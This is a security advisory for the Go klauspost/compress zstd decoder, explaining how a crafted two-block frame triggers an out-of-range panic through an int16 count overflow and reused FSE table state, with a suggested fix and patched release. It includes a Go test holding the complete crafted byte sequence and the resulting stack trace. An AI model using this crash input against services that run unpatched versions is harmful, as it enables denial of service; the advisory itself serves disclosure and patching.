GHSA-fpmh-frq8-7rj8

Description

### Summary A crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1. Released in https://github.com/klauspost/compress/releases/tag/v1.20.2 ### Details The panic is in the FSE decoder that `huff0.ReadTable` uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three. **1. A count that doesn't fit is accepted.** `readNCount` permits a tableLog up to 15 ([`tablelogAbsoluteMax`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L9), checked at [`fse/decompress.go:54`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L54)), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an `int16` at [`fse/decompress.go:126`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L126), where 32768 wraps to −32768. The validation only looks at the `int32` running totals (`remaining` and `gotTotal`), which still match, so the bad value passes. The crafted second block produces `norm = [0, -32768]`, `symbolLen = 2`. **2. The decode table is built empty, with no error.** In `buildDtable`, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop [`for i := 0; i < int(v); i++`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L221) runs zero times for a negative `v`. `position` never advances, so the [`position != 0`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L230) guard passes as well. **3. Stale state from the previous block is reused.** `huff0` shares one `fse.Scratch` across both blocks, and [`allocDtable`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L173-L189) reuses `decTable` and `ct.stateTable` without clearing them. So the table is rebuilt on top of block 1's symbols and `symbolNext` values. Many cells end up with `nbBits == 0`, because the leftover `nextState` is ≥ 32768. At decode time, every symbol's count is below `largeLimit`, so `zeroBits` stays false and `decompress` takes the [`nextFast`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L371) path. On a cell with `nbBits == 0`, [`getBitsFast(0)`](https://github.com/klauspost/compress/blob/v1.20.0/fse/bitreader.go#L58-L63) shifts by `(64-0)&63 == 0` and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and [`d.dt[d.state]`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L372) panics: ``` panic: runtime error: index out of range [33077] with length 32768 ``` Both blocks are needed. With a fresh `Scratch`, every cell would be symbol 0 with `symbolNext 0`, `highBits(0)` would underflow, `newState` would reach 32768, and the [`newState >= tableSize`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L246) guard would return an error. Block 1's leftover state is what carries the malformed table past that guard. The underlying bug is the `int16` storage combined with a tableLog allowed to reach 15. The C reference uses `short` too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. `huff0.ReadTable` doesn't enforce that 6-bit bound. A fix: reject a count of `1<<15` (or `nbBits > 14`) in `readNCount`, and enforce the weight-table tableLog in `huff0`. Clearing the reused table would also turn the panic into an error. ### Proof of concept Run the following repro: ``` package compression import ( "bytes" "slices" "testing" "github.com/klauspost/compress/zstd" "github.com/stretchr/testify/require" ) func TestDecodeAll(t *testing.T) { // zstdFSEPanic is a crafted two-block zstd frame that makes // github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an // out-of-range index in fse.nextFast rather than returning an error. Cross-block // FSE table-state carryover lets the second block's malformed Huffman-weight // table pass the decoder's guard and overflow the decode table. zstdFSEPanic := slices.Concat( []byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f}, bytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37), []byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a}, bytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365), []byte{0x8c, 0x31}, bytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365), []byte{0x63, 0x2c}, bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365), []byte{0x31, 0x46}, bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365), []byte{0x31, 0x06, 0x00}, ) decoder, err := zstd.NewReader(nil) require.NoError(t, err) dst := make([]byte, 100*1024) _, err = decoder.DecodeAll(zstdFSEPanic, dst) require.NoError(t, err) } ``` Outputs: ``` panic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked] goroutine 36 [running]: testing.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0}) /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1974 +0x1a0 testing.tRunner.func1() /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1977 +0x318 panic({0x100c2b7c0?, 0x2472599b62a0?}) /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/runtime/panic.go:860 +0x12c github.com/klauspost/compress/fse.(*decoder).nextFast(...) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:372 github.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:280 +0xa08 github.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:33 +0x64 github.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/huff0/decompress.go:61 +0x130 github.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:446 +0x550 github.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:480 +0x34 github.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:256 +0x20c github.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/framedec.go:371 +0x170 github.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000}) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/decoder.go:395 +0x410 github.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8) /Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498 testing.tRunner(0x247259a9a6c8, 0x100c4ae80) /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2036 +0xc4 created by testing.(*T).Run in goroutine 1 /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2101 +0x3a8 ``` ### Impact This is a panic that callers cannot guard against with error handling. This should be a DOS for most users.